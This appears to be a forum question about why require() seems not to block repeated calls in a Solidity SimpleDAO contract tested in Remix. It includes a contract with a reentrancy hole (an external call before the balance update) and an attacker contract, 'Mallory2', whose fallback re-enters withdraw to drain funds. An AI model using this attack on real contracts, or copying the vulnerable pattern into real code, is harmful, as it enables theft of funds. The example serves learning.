I'm trying to validate a condition using require()require()
. If the condition is false for the first time, the contract is stopped and reverted to its initial state. On the other hand, if the condition is true for the first time and false second time onwards the contract continues to execute in spite of the false condition in require.
Similar behavior is observed in case of assertassert
and revert
. I'm testing everything in remix with JavaScripteVMJavaScript VM.
Can somebody help me to understand why this is happening?
In below example of SimpleDAO, we are changing the flag value when withdraw function is called and using this flag value we are checking if withdraw is called for more than one time. But the requirerequire
is not working as expected and also the if condition which is placed after requirerequire
is not evaluated except for the first call of withdraw.
pragma solidity >=0.4.0 <0.7.0;
contract SimpleDAO {
mapping (address => uint256) public credit;
bool flag = true;
constructor() payable public {
donate();
}
function donate() payable public{
credit[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public{
require(flag, "Only one time call is allowed.");
flag = false;
if (credit[msg.sender]>= amount) {
msg.sender.call.value(amount)("");
credit[msg.sender]-=amount;
}
}
function queryCredit(address to) public view returns (uint256) {
return credit[to];
}
}
contract Mallory2 {
SimpleDAO public dao;
address payable owner;
constructor(SimpleDAO addr) public payable{
owner = msg.sender;
dao = addr;
}
function attack() public payable{
dao.donate.value(1)();
dao.withdraw(1);
}
function getJackpot() public{
dao.withdraw(address(dao).balance);
owner.transfer(address(this).balance);
}
function() external payable{
dao.withdraw(1);
}
}